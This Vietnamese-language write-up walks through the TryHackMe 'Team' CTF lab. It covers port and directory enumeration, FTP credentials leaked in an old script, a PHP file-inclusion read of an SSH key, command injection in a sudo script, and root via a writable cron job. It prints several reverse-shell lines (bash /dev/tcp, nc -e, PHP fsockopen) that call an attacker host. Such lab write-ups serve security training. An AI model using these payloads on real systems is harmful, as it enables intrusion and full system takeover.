Tryhackme - Team
Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Team
Reconnaissance
Đầu tiên, như thường lệ, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
| 256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_ 256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Tôi thử truy cập ftp với anonymous nhưng không thể, vậy nên tôi sẽ bắt đầu kiểm tra web.
Với port 80 tôi có 1 default page của apache, thử check qua source web
Tôi phải thêm domain vào /etc/hosts, sau đó truy cập team.thm
Đây là 1 trang blog về ảnh, kiểm tra source web thì cũng không gì đặc biệt lắm. Khi tôi thử qua các path đơn giản, trong robots.txt chỉ có 1 chữ ‘dale’, có thể đây là 1 cái tên chăng?
Thử dùng dirsearch để tìm xem có path ẩn nào không
[04:06:01] Starting:
[04:06:10] 403 - 273B - /.ht_wsr.txt
[04:06:10] 403 - 273B - /.htaccess.bak1
[04:06:10] 403 - 273B - /.htaccess.sample
[04:06:10] 403 - 273B - /.htaccess.orig
[04:06:10] 403 - 273B - /.htaccess.save
[04:06:10] 403 - 273B - /.htaccess_extra
[04:06:10] 403 - 273B - /.htaccess_orig
[04:06:10] 403 - 273B - /.htaccess_sc
[04:06:10] 403 - 273B - /.htaccessOLD
[04:06:10] 403 - 273B - /.htaccessBAK
[04:06:10] 403 - 273B - /.htaccessOLD2
[04:06:10] 403 - 273B - /.html
[04:06:10] 403 - 273B - /.htm
[04:06:10] 403 - 273B - /.htpasswd_test
[04:06:10] 403 - 273B - /.htpasswds
[04:06:10] 403 - 273B - /.httr-oauth
[04:06:13] 403 - 273B - /.php
[04:06:46] 301 - 305B - /assets -> http://team.thm/assets/
[04:06:46] 403 - 273B - /assets/
[04:07:08] 200 - 755B - /images/
[04:07:08] 301 - 305B - /images -> http://team.thm/images/
[04:07:09] 200 - 3KB - /index.html
[04:07:33] 200 - 5B - /robots.txt
[04:07:34] 301 - 306B - /scripts -> http://team.thm/scripts/
[04:07:34] 403 - 273B - /scripts/
[04:07:35] 403 - 273B - /server-status
[04:07:35] 403 - 273B - /server-status/
Khi thử truy cập vào /assets và /scripts đều ra lỗi 403 - không có quyền truy cập, có nghĩa là tôi không có quyền truy cập vào path này để xem bên trong có những file gì, nhưng nếu tôi có thể tìm đúng tên file trong này thì tôi vẫn có thể xem được nội dung của nó.
Thử dùng dirsearch 1 lần nữa và thêm path cũng như đuôi file, nhưng tôi không hiểu vì sao dùng dirseach thì không ra gì mà dùng gobuster thì sẽ ra file script.txt
┌──(neo㉿kali)-[~]
└─$ gobuster dir -u http://team.thm/scripts/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://team.thm/scripts/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2022/09/25 04:50:31 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 273]
/.htaccess.php (Status: 403) [Size: 273]
/.hta.php (Status: 403) [Size: 273]
/.htaccess.txt (Status: 403) [Size: 273]
/.hta.txt (Status: 403) [Size: 273]
/.htaccess (Status: 403) [Size: 273]
/.htpasswd (Status: 403) [Size: 273]
/.htpasswd.php (Status: 403) [Size: 273]
/.htpasswd.txt (Status: 403) [Size: 273]
/script.txt (Status: 200) [Size: 597]
Truy cập thử vào file này
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in
Đây là 1 file backup đăng nhập ftp server, tôi để ý dòng cuối cùng có nói rằng phải thay đổi đuôi của file script cũ vì file này có chứa thông tin truy cập, vậy là file script cũ sẽ có tên là script và đuôi cũ???
Và đúng là đuôi cũ thật khi tôi thử /script.old và nó ra kết quả
#!/bin/bash
read -p "Enter Username: " ftpuser
read -sp "Enter Username Password: " T3@m$h@r3
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
Thử truy cập vào ftp server
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534 65534 4096 Jan 15 2021 workshare
ftp> cd workshare
250 Directory successfully changed.
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534 65534 4096 Jan 15 21:25 .
drwxr-xr-x 5 65534 65534 4096 Jan 15 21:25 ..
-rwxr-xr-x 1 1002 1002 269 Jan 15 21:24 New_site.txt
226 Directory send OK.
ftp> get New_site.txt -
remote: New_site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).
New_site.txt
Dale
I have started coding a new website in PHP for the team to use, this is currently under development. It can be found at ".dev" within our domain.
Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.
Gyles
Tôi sẽ thử thêm subdomain “dev” vào file hosts và truy cập lại và dev.team.thmm
Thử ấn vào link và tôi được chuyển sang 1 trang khác
Nhìn vào url thì tôi nghĩ ngay đến PHP LFI. Mở Burpsuite để bắt request và thay đổi teamshare.php thành file muốn mở
Với file passwd tôi có 2 user ở đây là dale và gyles. Thực ra thì nếu để tìm user flag với lỗ hổng này, tôi có thể thử các path để xem file user.txt nằm ở đâu và xem được nội dung của nó. Tuy nhiên với mục đích có thể leo thực thi RCE và leo thang đặc quyền thì tôi sẽ thử cách khác.
Quay lại với file txt mà tôi có phía trên, tôi có 1 key ssh bên trong file config nào đó. Thường thì trong /etc/ của Ubuntu sẽ có tệp ssh chứa file config, nên tôi sẽ thử cầu may 1 chút xem có file này trong máy chủ mục tiêu hay không, thêm nữa đây là 1 machine mức Easy nên tôi nghĩ sẽ không có quá nhiều thay đổi với các file đã có sẵn
Đúng như tôi nghĩ, bản copy của id_rsa nằm trong này. Sao chép nó về, xáo các dấu # và thử login ssh bằng key này
┌──(neo㉿kali)-[~]
└─$ ssh -i id_rsa dale@10.10.133.54
The authenticity of host '10.10.133.54 (10.10.133.54)' can't be established.
ED25519 key fingerprint is SHA256:33en2c6AmAEzI4zDeUH4EyLRpyzjrXxptkcSHBnTVbA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.133.54' (ED25519) to the list of known hosts.
Last login: Mon Jan 18 10:51:32 2021
dale@TEAM:~$ id
uid=1000(dale) gid=1000(dale) groups=1000(dale),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1003(editors)
dale@TEAM:~$
dale@TEAM:~$ ls
user.txt
dale@TEAM:~$
Privilege escalation
sudo -l
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dale may run the following commands on TEAM:
(gyles) NOPASSWD: /home/gyles/admin_checks
dale@TEAM:~$
Check qua file admin_checks thì đây là 1 file script
dale@TEAM:~$ cd /home/gyles/
dale@TEAM:/home/gyles$ cat admin_checks
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
dale@TEAM:/home/gyles$
Khi nhập trường $name, nó sẽ ghi vào file stats.txt, còn nhập trường $date thì nó sẽ ghi vào biến ‘error’ và thực thi nó error 2>/dev/null
dale@TEAM:/home/gyles$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: hihi
Enter 'date' to timestamp the file:
The Date is Stats have been backed up
dale@TEAM:/home/gyles$ cat /var/stats/stats.txt
Website_views=1337
Unique_views=436
Disc_members=16
Events_won=1
anon
anon
anon
anon
anon
anon
anon
anon
anon
hihi
dale@TEAM:/home/gyles$
Thay vì nhập ngày tháng thì tôi sẽ nhập 1 injection đơn giản
dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: gyles
Enter 'date' to timestamp the file: /bin/bash -i
The Date is uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
gyles
Khi nhập command thì nó sẽ hiện kết quả chứ không hiện dữ liệu tôi nhập vào, config lại shell với python: python3 -c 'import pty;pty.spawn("/bin/bash")'
gyles@TEAM:~$ ls
user.txt
gyles@TEAM:~$ pwd
/home/dale
gyles@TEAM:~$ cd /home/gyles
gyles@TEAM:~$
gyles@TEAM:/home/gyles$ ls -la
total 48
drwxr-xr-x 6 gyles gyles 4096 Jan 17 2021 .
drwxr-xr-x 5 root root 4096 Jan 15 2021 ..
-rwxr--r-- 1 gyles editors 399 Jan 15 2021 admin_checks
-rw------- 1 gyles gyles 5639 Jan 17 2021 .bash_history
-rw-r--r-- 1 gyles gyles 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 gyles gyles 3771 Apr 4 2018 .bashrc
drwx------ 2 gyles gyles 4096 Jan 15 2021 .cache
drwx------ 3 gyles gyles 4096 Jan 15 2021 .gnupg
drwxrwxr-x 3 gyles gyles 4096 Jan 15 2021 .local
-rw-r--r-- 1 gyles gyles 807 Apr 4 2018 .profile
drwx------ 2 gyles gyles 4096 Jan 15 2021 .ssh
-rw-r--r-- 1 gyles gyles 0 Jan 17 2021 .sudo_as_admin_successful
Thử xem file .bash_history vì tôi thấy dung lượng của nó khá lớn. Phân tích qua file này thì tôi để ý thấy có 1 thư mục mà user này sử dụng để thực hiện netcat
trên quyền root
su root
cd /opt/admin_stuff/
ls -la
id
clear
./nc -e /bin/bash 192.168.88.128 4444
ls -la
sudo chmod g+s nc
ls
ls -la
./nc -e /bin/bash 192.168.88.128 4444
ls -la
cat /etc/crontab
php
which php
ls -la
php -r '$sock=fsockopen("192.168.88.128",4444);exec ("/bin/sh -i <&3 >&3 2>&3");'
exit
Đi đến thư mục này
gyles@TEAM:/home/gyles$ ls /opt/admin_stuff/
script.sh
gyles@TEAM:/home/gyles$ cat /opt/admin_stuff/script.sh
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
gyles@TEAM:/home/gyles$
Kiểm tra qua 2 file dev_backup.sh và main_backup.sh, tôi để ý thấy file main_backup.sh có thể chỉnh sửa được với user gyles vì cùng nằm trong group admin
gyles@TEAM:/home/gyles$ ls -la /usr/local/sbin/dev_backup.sh
-rwxr-xr-x 1 root root 64 Jan 17 2021 /usr/local/sbin/dev_backup.sh
gyles@TEAM:/home/gyles$ ls -la /usr/local/bin/main_backup.sh
-rwxrwxr-x 1 root admin 65 Jan 17 2021 /usr/local/bin/main_backup.sh
gyles@TEAM:/home/gyles$
Tạo listener với port 2402: nc -lnvp 2402
Thêm payload vào file main_backup.sh
gyles@TEAM:/home/gyles$ cat /usr/local/bin/main_backup.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.18.3.74/2402 0>&1
┌──(neo㉿kali)-[~]
└─$ nc -lnvp 2402
listening on [any] 2402 ...
connect to [10.18.3.74] from (UNKNOWN) [10.10.27.48] 48290
bash: cannot set terminal process group (1968): Inappropriate ioctl for device
bash: no job control in this shell
root@TEAM:~# id
id
uid=0(root) gid=0(root) groups=0(root),1004(admin)
root@TEAM:~# ls /root
ls /root
root.txt
root@TEAM:~#